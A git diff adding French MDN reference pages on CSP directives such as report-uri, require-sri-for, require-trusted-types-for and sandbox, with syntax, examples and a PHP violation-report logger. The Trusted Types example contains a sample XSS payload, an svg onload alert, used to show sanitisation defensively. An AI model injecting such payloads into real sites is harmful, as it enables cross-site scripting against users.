<tr> + <td>{{specName("CSP 3.0", "#prefetch-src", "prefetch-src")}}</td> + <td>{{Spec2("CSP 3.0")}}</td> + <td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p>{{Compat("http.headers.csp.Content-Security-Policy.prefetch-src")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/referrer/index.html b/files/fr/web/http/headers/content-security-policy/referrer/index.html new file mode 100644 index 0000000000..dc3b894b7c --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/referrer/index.html @@ -0,0 +1,64 @@ +--- +title: 'CSP: referrer' +slug: Web/HTTP/Headers/Content-Security-Policy/referrer +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Obsolete + - Reference + - Security + - Sécurité + - referrer +translation_of: Web/HTTP/Headers/Content-Security-Policy/referrer +--- +<div>{{HTTPSidebar}} {{deprecated_header}}</div> + +<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>referrer</strong></code> spécifie des informations dans l'en-tête HTTP {{HTTPHeader("Referer")}} (avec un seul r) pour les liens externes d'une page. Cette API est dépréciée et supprimée des navigateurs.</p> + +<div class="note"> +<p>Utilisez plutôt l'en-tête HTTP {{HTTPHeader("Referrer-Policy")}}.</p> +</div> + +<h2 id="Syntaxe">Syntaxe</h2> + +<p>Soit cet en-tête CSP :</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: referrer <referrer-policy>;</pre> + +<p>Où <code><referrer-policy></code> peut être une valeur parmi :</p> + +<dl> + <dt>"no-referrer"</dt> + <dd>L'en-tête HTTP {{HTTPHeader("Referer")}} sera omise. Aucune information de référent ne sera envoyée avec les requêtes.</dd> + <dt>"none-when-downgrade"</dt> + <dd>C'est le comportement par défaut des agents d'utilisateur si la directive n'est pas spécifiée. L'origine est envoyée comme référent pour une destination a priori aussi bien sécurisée (HTTP vers HTTP ou HTTPS vers HTTPS), mais n'est pas envoyée vers une destination qui l'est moins (HTTPS vers HTTP).</dd> + <dt>"origin"</dt> + <dd>Envoie l'origine du document comme référent dans tous les cas.<br> + Le document <code>https://example.com/page.html</code> enverra <code>https://example.com/</code> comme référent.</dd> + <dt>"origin-when-cross-origin" / "origin-when-crossorigin"</dt> + <dd>Envoie une URL complète pour les requêtes vers la même origine, mais seulement l'origin du document dans les autres cas.</dd> + <dt>"unsafe-url"</dt> + <dd>Envoie une URL complète (excepté ses paramètres) lors de réalisation d'une requête vers la même origine ou une autre origine. Cette règle divulguera les origines et adresses des ressources protégées par TLS à des origines non sécurisées. Considérez avec précaution les conséquences de cette configuration.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<pre class="notranslate">Content-Security-Policy: referrer "none";</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<p>Cette fonctionnalité ne fait partie d'aucune spécification.</p> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p>{{Compat("http.headers.csp.Content-Security-Policy.referrer")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTTPHeader("Referrer-Policy")}} header</li> + <li>{{HTTPHeader("Referer")}} header</li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/report-to/index.html b/files/fr/web/http/headers/content-security-policy/report-to/index.html new file mode 100644 index 0000000000..ad134606c0 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/report-to/index.html @@ -0,0 +1,83 @@ +--- +title: 'CSP: report-to' +slug: Web/HTTP/Headers/Content-Security-Policy/report-to +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Reporting + - Security + - Sécurité + - report-to +translation_of: Web/HTTP/Headers/Content-Security-Policy/report-to +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary">La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <strong><code>report-to</code></strong> demande à l'agent utilisateur de rapporter les violations de règles CSP à l'adresse fournie dans un groupe de l'en-tête HTTP <code>Report-To</code>.</span></p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: ...; report-to groupname +</pre> + +<p>Cette directive n'a aucun effet en elle-même, mais prend tout son sens en étant combinée à d'autres directives.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>1</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Reporting directive")}}</td> + </tr> + <tr> + <th colspan="2" scope="row">This directive is not supported in the {{HTMLElement("meta")}} element.</th> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="notranslate">Content-Security-Policy: report-to <json-field-value>;</pre> + +<h2 id="Exemples">Exemples</h2> + +<p>Voir {{HTTPHeader("Content-Security-Policy-Report-Only")}} pour plus d'informations et d'exemples.</p> + +<pre class="notranslate"><a href="http://wicg.github.io/reporting/#report-to" id="ref-for-report-to①">Report-To</a>: { "<a href="http://wicg.github.io/reporting/#group" id="ref-for-group①">group</a>": "csp-endpoint", + "<a href="http://wicg.github.io/reporting/#max-age" id="ref-for-max-age①">max_age</a>": 10886400, + "<a href="http://wicg.github.io/reporting/#endpoints" id="ref-for-endpoints②">endpoints</a>": [ + { "<a href="http://wicg.github.io/reporting/#url" id="ref-for-url②">url</a>": "https://example.com/csp-reports" } + ] }, + { "<a href="http://wicg.github.io/reporting/#group" id="ref-for-group②">group</a>": "hpkp-endpoint", + "<a href="http://wicg.github.io/reporting/#max-age" id="ref-for-max-age②">max_age</a>": 10886400, + "<a href="http://wicg.github.io/reporting/#endpoints" id="ref-for-endpoints③">endpoints</a>": [ + { "<a href="http://wicg.github.io/reporting/#url" id="ref-for-url③">url</a>": "https://example.com/hpkp-reports" } + ] } +<a href="https://w3c.github.io/webappsec-csp/#content-security-policy" id="ref-for-content-security-policy①">Content-Security-Policy</a>: ...; <a href="https://w3c.github.io/webappsec-csp/#directives-reporting" id="ref-for-directives-reporting①">report-to</a> csp-endpoint +</pre> + +<pre class="notranslate"><a href="http://wicg.github.io/reporting/#report-to" id="ref-for-report-to">Report-To</a>: { "<a href="http://wicg.github.io/reporting/#group" id="ref-for-group">group</a>": "endpoint-1", + "<a href="http://wicg.github.io/reporting/#max-age" id="ref-for-max-age">max_age</a>": 10886400, + "<a href="http://wicg.github.io/reporting/#endpoints" id="ref-for-endpoints①">endpoints</a>": [ + { "<a href="http://wicg.github.io/reporting/#url" id="ref-for-url">url</a>": "https://example.com/reports" }, + { "<a href="http://wicg.github.io/reporting/#url" id="ref-for-url①">url</a>": "https://backup.com/reports" } + ] } + +<a href="https://w3c.github.io/webappsec-csp/#content-security-policy" id="ref-for-content-security-policy">Content-Security-Policy</a>: ...; <a href="https://w3c.github.io/webappsec-csp/#directives-reporting" id="ref-for-directives-reporting">report-to</a> endpoint-1</pre> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<div class="hidden"> +<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> +</div> + +<p>{{Compat("http.headers.csp.Content-Security-Policy.report-to")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/report-uri/index.html b/files/fr/web/http/headers/content-security-policy/report-uri/index.html new file mode 100644 index 0000000000..11fcad82f9 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/report-uri/index.html @@ -0,0 +1,133 @@ +--- +title: 'CSP: report-uri' +slug: Web/HTTP/Headers/Content-Security-Policy/report-uri +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Security + - Sécurité +translation_of: Web/HTTP/Headers/Content-Security-Policy/report-uri +--- +<div>{{HTTPSidebar}}{{deprecated_header}}</div> + +<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>report-uri</strong></code> demande à l'agent utilisateur de rapporter les violations de règles CSP. Ces rapports de violation sont constituées d'un document JSON envoyé via une requête HTTP POST à l'URI fournie.</p> + +<div class="warning"> +<p>Bien que la directive {{CSP("report-to")}} est prévue remplacer la directive <code><strong>report-uri</strong></code> maintenant dépréciée, {{CSP("report-to")}} n'est pas encore supportée par la plupart des navigateurs modernes. Par rétrocompatibilité avec les navigateurs courants et tout en prévoyant une compatibilité future quand les navigateurs supporteront {{CSP("report-to")}}, vous pouvez spécifier les deux directives <code><strong>report-uri</strong></code> et {{CSP("report-to")}}:</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname</pre> + +<p>Dans les navigateurs qui supportent {{CSP("report-to")}}, la directive <code><strong>report-uri</strong></code> sera ignorée.</p> +</div> + +<p>Cette directive n'a aucun effet en elle-même, mais prend tout son sens en étant combinée à d'autres directives.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>1</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Reporting directive")}}</td> + </tr> + <tr> + <th colspan="2" scope="row">Cette directive n'est pas supportée dans l'élément {{HTMLElement("meta")}}.</th> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox notranslate">Content-Security-Policy: report-uri <uri>; +Content-Security-Policy: report-uri <uri> <uri>;</pre> + +<dl> + <dt><uri></dt> + <dd>Une URI où envoyer la requête POST contenant le rapport de violation.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<p>Voir {{HTTPHeader("Content-Security-Policy-Report-Only")}} pour plus d'informations et d'exemples.</p> + +<pre class="notranslate">Content-Security-Policy: default-src https:; report-uri /csp-violation-report-endpoint/</pre> + +<p><code>/csp-violation-report-endpoint/</code> pourrait par exemple exécuter un script PHP similaire au suivant qui journaliserait le JSON détaillant la violation et, si elle est la première ajoutée au journal, enverrait un courril à l'administrateur :</p> + +<pre class="brush: php notranslate"><?php + +// Start configure +$log_file = dirname(__FILE__) . '/csp-violations.log'; +$log_file_size_limit = 1000000; // bytes - once exceeded no further entries are added +$email_address = 'admin@example.com'; +$email_subject = 'Content-Security-Policy violation'; +// End configuration + +$current_domain = preg_replace('/www\./i', '', $_SERVER['SERVER_NAME']); +$email_subject = $email_subject . ' on ' . $current_domain; + +http_response_code(204); // HTTP 204 No Content + +$json_data = file_get_contents('php://input'); + +// We pretty print the JSON before adding it to the log file +if ($json_data = json_decode($json_data)) { + $json_data = json_encode($json_data, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES); + + if (!file_exists($log_file)) { + // Send an email + $message = "The following Content-Security-Policy violation occurred on " . + $current_domain . ":\n\n" . + $json_data . + "\n\nFurther CPS violations will be logged to the following log file, but no further email notifications will be sent until this log file is deleted:\n\n" . + $log_file; + mail($email_address, $email_subject, $message, + 'Content-Type: text/plain;charset=utf-8'); + } else if (filesize($log_file) > $log_file_size_limit) { + exit(0); + } + + file_put_contents($log_file, $json_data, FILE_APPEND | LOCK_EX); +} + +</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + <tr> + <td>{{specName("CSP 3.0", "#directive-report-uri", "report-uri")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>Inchangé.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1", "#directive-report-uri", "report-uri")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.Content-Security-Policy.report-uri")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/require-sri-for/index.html b/files/fr/web/http/headers/content-security-policy/require-sri-for/index.html new file mode 100644 index 0000000000..2650a7f3c7 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/require-sri-for/index.html @@ -0,0 +1,61 @@ +--- +title: 'CSP: require-sri-for' +slug: Web/HTTP/Headers/Content-Security-Policy/require-sri-for +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Security + - Subresource Integrity + - Sécurité + - require-sri-for +translation_of: Web/HTTP/Headers/Content-Security-Policy/require-sri-for +--- +<div>{{Obsolete_header}}</div> + +<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} <code><strong>require-sri-for</strong></code> informe l'agent utilisateur de requérir la vérification <a href="/en-US/docs/Web/Security/Subresource_Integrity">d'intégrité des sous-ressources</a> pour les scripts et styles de la page.</p> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox notranslate">Content-Security-Policy: require-sri-for script; +Content-Security-Policy: require-sri-for style; +Content-Security-Policy: require-sri-for script style; +</pre> + +<dl> + <dt><code>script</code></dt> + <dd>Requiert {{Glossary("SRI")}} pour les scripts.</dd> + <dt><code>style</code></dt> + <dd>Requiert {{Glossary("SRI")}} pour les feuilles de styles.</dd> + <dt><code>script style</code></dt> + <dd>Requiert {{Glossary("SRI")}} pour les deux, scripts et feuilles de styles.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<p>Soit cet en-tête CSP :</p> + +<pre class="notranslate">Content-Security-Policy: require-sri-for script style</pre> + +<p>Cet élément {{HTMLElement("script")}} sera chargé et exécuté puisqu'il utilise un attribut <code>integrity</code> valide.</p> + +<pre class="brush: html; example-good notranslate"><script src="https://code.jquery.com/jquery-3.1.1.slim.js" + integrity="sha256-5i/mQ300M779N2OVDrl16lbohwXNUdzL/R2aVUXyXWA=" + crossorigin="anonymous"></script></pre> + +<p>Toutefois, ce script sera bloqué car il n'utilise pas cet attribut :</p> + +<pre class="brush: html; example-bad notranslate"><script src="https://code.jquery.com/jquery-3.1.1.slim.js"></script></pre> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p>{{Compat("http.headers.csp.Content-Security-Policy.require-sri-for")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li><a href="/en-US/docs/Web/Security/Subresource_Integrity">Subresource Integrity</a></li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/require-trusted-types-for/index.html b/files/fr/web/http/headers/content-security-policy/require-trusted-types-for/index.html new file mode 100644 index 0000000000..f4102e3593 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/require-trusted-types-for/index.html @@ -0,0 +1,88 @@ +--- +title: 'CSP: require-trusted-types-for' +slug: Web/HTTP/Headers/Content-Security-Policy/require-trusted-types-for +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Security + - Sécurité + - TrustedTypes + - require-trusted-types-for + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/require-trusted-types-for +--- +<div>{{HTTPSidebar}}</div> + +<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>require-trusted-types-for</strong></code> {{experimental_inline}} directive informe l'agent utilisateur de contrôler les données passées au puits de fonctions XSS du DOM, tel que le mutateur <a href="/en-US/docs/Web/API/Element/innerHTML">Element.innerHTML</a>.</p> + +<p>Lors de leur usage, ces fonctions n'acceptent que des valeurs typées et non falsifiables créées par des règles de Trusted Type et rejettent les chaines de caractère.<span> Conjointement à la directive <strong><code><a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/trusted-types">trusted-types</a></code></strong>, qui empêche la création de règles de Trusted Type, cette directive permet aux auteurs de définir des règles empêchant d'écrire des données dans le DOM et donc de réduire </span> <span>la fenêtre de tir pour les attaques XSS sur le DOM à quelques pans isolés de la base de code d'une application, facilitant donc son contrôle et sa relecture</span><span>.</span></p> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="notranslate">Content-Security-Policy: require-trusted-types-for 'script'; +</pre> + +<dl> + <dt><code>'script'</code></dt> + <dd>Interdit l'usage de chaine de caractères avec les fonctions du puits d'injection XSS du DOM, et requiert que les types correspondant soient créés par des règles de Trusted Type.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<pre class="brush: js notranslate">// Content-Security-Policy: require-trusted-types-for 'script'; trusted-types foo; + +const attackerInput = '<svg onload="alert(/cross-site-scripting/)" />'; +const el = document.createElement('div'); + +if (typeof trustedTypes !== 'undefined') { + // Create a policy that can create TrustedHTML values + // after sanitizing the input strings with DOMPurify library. + const sanitizer = trustedTypes.createPolicy('foo', { + createHTML: (input) => DOMPurify.sanitize(input) + }); + + el.innerHTML = sanitizer.createHTML(attackerInput); // Puts the sanitized value into the DOM. + el.innerHTML = attackerInput; // Rejects a string value; throws a TypeError. +} +</pre> + +<h2 id="Prothèse_démulaiton">Prothèse d'émulaiton</h2> + +<p>Une <a href="https://github.com/w3c/webappsec-trusted-types#polyfill">prothèse d'émulation pour les Trusted Types</a> est disponible sur Github.</p> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + </thead> + <tbody> + <tr> + <td><a href="https://w3c.github.io/webappsec-trusted-types/dist/spec/">Trusted Types</a></td> + <td>Draft</td> + <td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + + + +<p>{{Compat("http.headers.csp.Content-Security-Policy.trusted-types")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li><a href="/en-US/docs/Glossary/Cross-site_scripting">Cross-Site Scripting (XSS)</a></li> + <li><a href="https://w3c.github.io/webappsec-trusted-types/dist/spec/#injection-sinks">DOM XSS injection sinks covered by Trusted Types</a></li> + <li><a href="https://web.dev/trusted-types">Prevent DOM-based cross-site scripting vulnerabilities with Trusted Types</a></li> + <li>Trusted Types with <a href="https://github.com/cure53/DOMPurify#what-about-dompurify-and-trusted-types">DOMPurify</a> XSS sanitizer</li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/sandbox/index.html b/files/fr/web/http/headers/content-security-policy/sandbox/index.html new file mode 100644 index 0000000000..4786f3c319 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/sandbox/index.html @@ -0,0 +1,111 @@ +--- +title: 'CSP: sandbox' +slug: Web/HTTP/Headers/Content-Security-Policy/sandbox +tags: + - CSP + - Content-Securityè-Policy + - Directive + - HTTP + - Sandbox + - Security + - Sécurité +translation_of: Web/HTTP/Headers/Content-Security-Policy/sandbox +--- +<div>{{HTTPSidebar}}</div> + +<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>sandbox</strong></code> active un bac à sable (<em>sandbox</em>) pour les ressources demandées similaire à l'attribut {{htmlattrxref("sandbox", "iframe")}} des éléments {{HTMLElement("iframe")}}. Elle applique des restrictions aux actions d'une page, dont le fait d'empêcher les fenêtres intruses (<em>popups</em>) et l'exécution de greffons et de scripts et de créer une contrainte de même origine.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>1.1 / 2</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Document directive")}}</td> + </tr> + <tr> + <th colspan="2" scope="row">Cette directive n'est pas supportée dans l'élément {{HTMLElement("meta")}} ou par l'en-tête {{HTTPHeader("Content-Security-policy-Report-Only")}}.</th> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox notranslate">Content-Security-Policy: sandbox; +Content-Security-Policy: sandbox <valeur>; +</pre> + +<p>Où <code><valeur></code> peut optionnellement être une valeur parmi :</p> + +<dl> + <dt><code>allow-downloads-without-user-activation</code> {{experimental_inline}}</dt> + <dd>Autorise les téléchargements sans action de l'utilisateur.</dd> +</dl> + +<dl> + <dt><code>allow-forms</code></dt> + <dd>Autorise la soumission de de formulaires. Si ce mot-clé n'est pas spécifié, cette opération est interdite.</dd> + <dt><code>allow-modals</code></dt> + <dd>Autorise la page à ouvrir des fenêtres modales.</dd> + <dt><code>allow-orientation-lock</code></dt> + <dd>Autorise la page à désactiver la possibilité de verrouiller l'orientation de l'écran.</dd> + <dt><code>allow-pointer-lock</code></dt> + <dd>Autorise la page à utiliser l'<a href="/en-US/docs/WebAPI/Pointer_Lock">API Pointer Lock</a>.</dd> + <dt><code>allow-popups</code></dt> + <dd>Autorise les fenêtres intruses (comme avec <code>window.open</code>, <code>target="_blank"</code>, <code>showModalDialog</code>). Si ce mot-clé n'est pas utilisée, cette fonctionnalité échouera en silence.</dd> + <dt><code>allow-popups-to-escape-sandbox</code></dt> + <dd>Autorise un document cloisonné dans une bac à sable à ouvrir de nouvelles fenêtres sans les contraindre à appliquer les mêmes règles. Cela permettra, par exemple, à une publicité externe d'être sainement cloisonnée sans imposer les mêmes restrictions sur une page d'accueil.</dd> + <dt><code>allow-presentation</code></dt> + <dd>Autorise les pages embarquantes à avoir contrôle sur la possibilité pour l'iframe de démarrer une session de présentation ou non.</dd> + <dt><code>allow-same-origin</code></dt> + <dd>Autorise le contenu à être traité comme étant de son origine normale. Si ce mot-clé n'est pas utilisé, les contenu embarqués seront traités comme étant d'une origine unique.</dd> + <dt><code>allow-scripts</code></dt> + <dd>Autorise la page à exécuter des scripts (mais non créer des fenêtres intruses). Si ce mot-clé n'est pas utilisée, cette opération n'est pas permise.</dd> + <dt><code>allow-storage-access-by-user-activation</code> {{experimental_inline}}</dt> + <dd>Laisse les requêtes de ressources accéder à l'espace de stockage du parent avec l'<a href="/en-US/docs/Web/API/Storage_Access_API">API Storage Access</a>.</dd> + <dt><code>allow-top-navigation</code></dt> + <dd>Autorise la page à charger du contenu au niveau supérieur de contexte navigationnel. Si ce mot-clé n'est pas utilisé, cette opération n'est pas permise.</dd> + <dt><code>allow-top-navigation-by-user-activation</code></dt> + <dd>Laisse la ressource naviguer jusqu'au niveau supérieur de contexte navigationnel, mais seulement si initié par une aciton de l'utilisateur.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<pre class="brush: bash notranslate">Content-Security-Policy: sandbox allow-scripts;</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + <tr> + <td>{{specName("CSP 3.0", "#directive-sandbox", "sandbox")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>Inchangé.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1", "#directive-sandbox", "sandbox")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.Content-Security-Policy.sandbox")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{htmlattrxref("sandbox", "iframe")}} attribute on {{HTMLElement("iframe")}} elements</li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/script-src-attr/index.html b/files/fr/web/http/headers/content-security-policy/script-src-attr/index.html new file mode 100644 index 0000000000..b83c70cc28 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/script-src-attr/index.html @@ -0,0 +1,100 @@ +--- +title: 'CSP: script-src-attr' +slug: Web/HTTP/Headers/Content-Security-Policy/script-src-attr +tags: + - CSP + - Content + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Script + - Security + - Sécurité + - script-src + - script-src-attr + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/script-src-attr +--- +<div>{{HTTPSidebar}}</div> + +<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>script-src-attr</strong></code> spécifie les sources valides pour du code JavaScript embarqué dans des éléments {{HTMLElement("script")}} ou dans des gestionnaires d'évènements par attribut comme <code>onclick</code>, mais non les URL chargées par des éléments {{HTMLElement("script")}}.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>3</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive {{CSP("script-src")}}, qui a pour valeur par défaut celle de la directive <code>default-src</code></td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: script-src-attr <source>; +Content-Security-Policy: script-src-attr <source> <source>; +</pre> + +<p><code>script-src-attr</code> peut être utilisée conjointement à {{CSP("script-src")}} :</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: script-src <source>; +Content-Security-Policy: script-src-attr <source>; +</pre> + +<h3 id="Sources">Sources</h3> + +<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p> + +<h2 id="Exemples">Exemples</h2> + +<h3 id="Valeur_par_défaut_avec_script-src">Valeur par défaut avec script-src</h3> + +<p>Si la directive <code>script-src-attr</code> est absente, l'agent utilisateur se rabat sur la valeur de la directive {{CSP("script-src")}}, qui elle-même a pour valeur par défaut celle de la directive {{CSP("default-src")}}.</p> + +<div class="hidden"> +<p>TODO: Add comprehensive examples.</p> +</div> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{specName("CSP 3.0", "#directive-script-src-attr", "script-src-attr")}}</td> + <td>{{Spec2("CSP 3.0")}}</td> + <td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.Content-Security-Policy.script-src-attr")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTMLElement("script")}}</li> + <li>{{CSP("script-src")}}</li> + <li>{{CSP("script-src-elem")}}</li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/script-src-elem/index.html b/files/fr/web/http/headers/content-security-policy/script-src-elem/index.html new file mode 100644 index 0000000000..5bebc3b3a7 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/script-src-elem/index.html @@ -0,0 +1,100 @@ +--- +title: 'CSP: script-src-elem' +slug: Web/HTTP/Headers/Content-Security-Policy/script-src-elem +tags: + - CSP + - Content + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Script + - Security + - Sécurité + - script-src + - script-src-elem + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/script-src-elem +--- +<div>{{HTTPSidebar}}</div> + +<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <strong><code>script-src-elem</code></strong> spécifie les sources valides pour des éléments {{HTMLElement("script")}} JavaScript, mais non pour des scripts embarqués ou des gestionnaire d'évènements par attribut comme <code>onclick</code>.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>3</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive {{CSP("script-src")}}, qui a pour valeur par défaut celle de la directive <code>default-src</code></td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: script-src-elem <source>; +Content-Security-Policy: script-src-elem <source> <source>; +</pre> + +<p><code>script-src-elem</code> peut être utilisée conjointement à {{CSP("script-src")}} :</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: script-src <source>; +Content-Security-Policy: script-src-elem <source>; +</pre> + +<h3 id="Sources">Sources</h3> + +<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p> + +<h2 id="Exemples">Exemples</h2> + +<h3 id="Valeur_par_défaut_avec_script-src">Valeur par défaut avec script-src</h3> + +<p>Si la directive <code>script-src-elem</code> est absente, l'agent utilisateur se rabat sur la valeur de la directive {{CSP("script-src")}}, qui elle-même a pour valeur par défaut celle de la directive {{CSP("default-src")}}.</p> + 